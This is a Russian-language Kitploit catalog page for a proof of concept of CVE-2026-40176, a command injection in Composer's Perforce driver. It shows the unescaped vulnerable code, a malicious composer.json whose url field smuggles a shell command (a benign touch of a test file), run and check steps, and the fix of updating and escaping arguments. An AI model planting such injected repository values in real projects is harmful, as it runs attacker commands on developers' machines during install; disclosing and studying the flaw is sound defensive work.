Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-40176-poc — Доказательство концепции для CVE-2026-40176 — инъекция OS-команд в драйвере Perforce в Composer, позволяющая удалённое выполнение кода через специально сформированный composer.json. | Kitploit
Инструменты/GitHubGitHub/saku0512/cve-2026-40176-poc
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийКомандование и УправлениеОбучение и ОбразованиеРазработка Полезной Нагрузки
GitHubsaku0512/cve-2026-40176-poc

CVE-2026-40176-poc

Доказательство концепции для CVE-2026-40176 — инъекция OS-команд в драйвере Perforce в Composer, позволяющая удалённое выполнение кода через специально сформированный composer.json.

Репозиторий
222 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-40176: PoC инъекции команд ОС в Composer Perforce

English version

Обзор

Этот репозиторий представляет собой Proof of Concept (PoC) критической уязвимости инъекции команд ОС CVE-2026-40176, существующей в драйвере Perforce VCS в Composer. Уязвимость затрагивает версии Composer до 2.2.27 и 2.9.6.

Уязвимость находится в методе Perforce::generateP4Command(). При сборке команд оболочки недостаточно санитизируются значения конфигурации репозитория, такие как url, p4user, client, что позволяет атакующему, используя контролируемый composer.json, выполнить произвольные команды в момент, когда жертва выполняет composer install или composer update.

Обнаружено: saku0512 (GitHub)

Отказ от ответственности

Этот проект предназначен только для образовательных целей и разрешенных этических проверок безопасности.

Автор не несет никакой ответственности за неправильное использование, ущерб или незаконные действия с использованием данного инструмента. Доступ к компьютерным системам без разрешения является незаконным. Используя это программное обеспечение, вы соглашаетесь проводить проверки безопасности только в средах, на которые получено явное разрешение.

Детали уязвимости

  • CVE ID: CVE-2026-40176
  • Тип: Инъекция команд ОС (CWE-78)
  • Воздействие: Удаленное выполнение кода (RCE)
  • Затронутые версии:
    • Composer 2.0.0 <= v2.2.26
    • Composer 2.3.0 <= v2.9.5
  • Исправлено в версиях: v2.2.27 / v2.9.6

Причина возникновения

В методе generateP4Command() в файле src/Composer/Util/Perforce.php команды оболочки формируются путем прямого объединения строк, полученных из конфигурации репозитория.

root@kitploit:~
$p4Command = $this->getP4Executable().' ';
$p4Command .= '-u ' . $this->getUser() . ' ';   // не экранировано
if ($useClient) {
    $p4Command .= '-c ' . $this->getClient() . ' '; // не экранировано
}
$p4Command .= '-p ' . $this->getPort() . ' ' . $command; // не экранировано

Если эти строки содержат метасимволы оболочки, такие как ;, &, |, они будут интерпретированы оболочкой, что приведет к инъекции команд.

Использование PoC

1. Подготовка окружения

Убедитесь, что PHP установлен. Данный PoC воспроизводит уязвимую логику внутри Composer.

root@kitploit:~
# Проверка версии PHP
php -v

2. Пример конфигурации (вредоносный composer.json)

Атакующий может создать composer.json следующего содержания:

root@kitploit:~
{
    "repositories": [
        {
            "type": "perforce",
            "url": "localhost:1666; touch /tmp/pwned_rce_confirmed #",
            "depot": "depot"
        }
    ],
    "require": {
        "some/package": "dev-master"
    }
}

3. Запуск PoC

Прилагаемый файл poc.php воспроизводит внутреннюю логику генерации и выполнения команд в уязвимой версии Composer.

root@kitploit:~
# Запуск PoC
php poc.php

4. Проверка

Проверьте, существует ли файл, созданный полезной нагрузкой, чтобы подтвердить выполнение команды.

root@kitploit:~
ls -l /tmp/pwned_rce_confirmed

Если файл существует, вы можете убедиться, что RCE сработал.

Меры защиты

Немедленно обновите Composer до последней версии.

root@kitploit:~
composer self-update

В исправлении для предотвращения интерпретации оболочкой применяется ProcessExecutor::escape() ко всем аргументам, полученным из пользовательского ввода.

Справочная информация

  • CVE-2026-40176 (cve.org)
  • Composer Security Advisory
Скачать инструмент